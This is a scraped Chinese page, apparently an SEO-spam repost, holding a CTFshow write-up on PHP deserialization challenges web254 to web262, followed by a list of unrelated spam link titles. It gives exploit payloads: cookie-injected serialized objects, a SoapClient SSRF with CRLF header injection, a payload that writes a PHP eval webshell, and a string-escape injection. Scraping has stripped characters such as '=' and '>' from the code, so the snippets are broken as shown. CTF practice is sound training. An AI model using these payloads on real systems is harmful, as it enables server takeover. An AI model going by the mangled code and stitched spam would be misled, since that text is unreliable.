当前位置: 首页 > news >正文

网站建设 福步wordpress相册插件nextgen gallery

网站建设 福步,wordpress相册插件nextgen gallery,承德手机网站建设,网站建设与网页设计专业的PHP反序列化前置知识 序列化和反序列化 对象是不能在字节流中传输的#xff0c;序列化就是把对象转化为字符串以便存储和传输#xff0c;反序列化就是将字符串转化为对象 魔术方法 __construct() //构造#xff0c;当对象new时调用 __wakeup() //执行unserialize()时序列化就是把对象转化为字符串以便存储和传输反序列化就是将字符串转化为对象 魔术方法 __construct() //构造当对象new时调用 __wakeup() //执行unserialize()时先会调用这个函数 __sleep() //执行serialize()时先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发 链 web254 这里其实没有涉及反序列化。这题使用GET方式获取username和password的值创建一个ctfshowUser对象-代表指向首先调用上面的login方法login方法使用this代表前面的username和password的值为ctfshowUser的值xxxxxx如果满足条件就把 $this-isViptrue然后通过vipOneKeyGetFlag()通过判断获取flag构造?usernamexxxxxxpasswordxxxxxx即可 web255 这题的区别在于login方法不能把isvip置为true而且user为对cookie值进行反序列化的结果这里我们需要对class ctfShowUser进行序列化并且修改 public $isVipfalse为true,首先构造序列化然后将序列化结果以cookie方式传递 ?php class ctfShowUser{public $isViptrue; } $anew ctfShowUser; echo urlencode(serialize($a)); ?web256 这题需要构造username不等于password原来他们都是xxxxxx,现在需要通过序列化修改初始值 web257 __construct() //构造当对象new时调用 __destruct() //对象被销毁时触发 这题在新建对象时先实例化info然后在销毁时调用getinfo方法而我们的最终目的是调用backdoor的方法使用eval这个函数 web258 这题使用正则表达式过滤使用号绕过 web259 __call 在对象中调用一个不可访问方法时调用 在这道题中$vip-getFlag();因为调用了类中没有的方法所以会导致__call的执行 payload ?php $target http://127.0.0.1/flag.php; $post_string tokenctfshow; $b new SoapClient(null,array(location $target,user_agentwupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded.^^Content-Length: .(string)strlen($post_string).^^^^.$post_string,uri ssrf)); $a serialize($b); $a str_replace(^^,\r\n,$a); echo urlencode($a); ?O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7Dr 传入vip然后访问flag.txt即可 web260 此题只需要满足匹配条件就行 web261 题目是这样的构造payload ?phpclass ctfshowvip{public $username877.php;public $password?php eval($_POST[yc]); ?; } $anew ctfshowvip(); echo urlencode(serialize($a)); ?首先__construct方法是创建对象时调用的我们现在给username和password赋予初值同时对象销毁时调用__destruct这里进行了弱类型比较0x36D877.php然后__unserialize() 和 __wakeup()两个魔术方法都定义在用一个对象中 则只有 __unserialize() 方法会生效__wakeup() 方法会被忽略。这里进行了字符串拼接 web262字符串逃逸 这题主要考察字符串逃逸 PHP 在反序列化时对类中不存在的属性也会进行反序列化 • PHP 在反序列化时底层代码是以 ;作为字段的分隔以 } 作为结尾(字符串除外)并且是根据长度判断内容的 序列化 需要构造 “;s:5:“token”;s:5:“admin”;}一共27字符 构造payload f1m1t1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:“token”;s:5:“admin”;}然后访问message.php即可
http://www.pierceye.com/news/360605/

相关文章:

  • 网站建设天猫店免费主机空间
  • 帮网贷做网站会判刑吗学it要多久多少学费
  • 陕西网站建设维护erp软件怎么安装
  • 沈阳网站建设简维软件工程在网站建设
  • 万维网网站续费云南建设厅网站执业注册
  • 判断网站首页民宿设计网站大全
  • .net如何建设网站做影视会员网站
  • 织梦网站安全免费咨询医生皮肤科专家
  • dw做网站背景图片设置网站建设设计作品怎么写
  • 网站建设推广专员岗位职责济南做企业网站公司
  • 网站不备案能解析吗合肥网站推广 公司哪家好
  • 网站描述怎样写深圳网站制作招聘
  • 二手车网站建设代理网页 国外
  • 广州制作网站静态网站首页更新
  • 个人网站用什么服务器宁波网站建设制作哪家好
  • 视频模板网站企业所得税优惠政策2022年
  • 坪山附近公司做网站建设哪家效益快wordpress 置顶 插件
  • 品牌网站建设服务机构内容网站管理系统
  • 电商网站建设基础ppt个人简单网站页
  • 移动端网站模板专业建站工作室
  • 企业网站建设的重要性及意义建设银行忘记密码网站首页
  • 易雅达网站建设公司广告设计公司设计收费标准
  • 行业门户网站php网站开发程序
  • 广州微信网站建设报价表上海注销营业执照流程
  • 陕西省建设执业资格注册中心网站科技有限公司 翻译
  • 做推广都有哪些网站网站怎么上传源码
  • discuz门户网站模板手机电子商务网站规划书范文
  • vps能同时做网站同时做其它事吗wordpress 支持小工具
  • 网站建设制作网络公司wordpress 汽车模板
  • 有哪些做外贸的网站网站快速搭建平台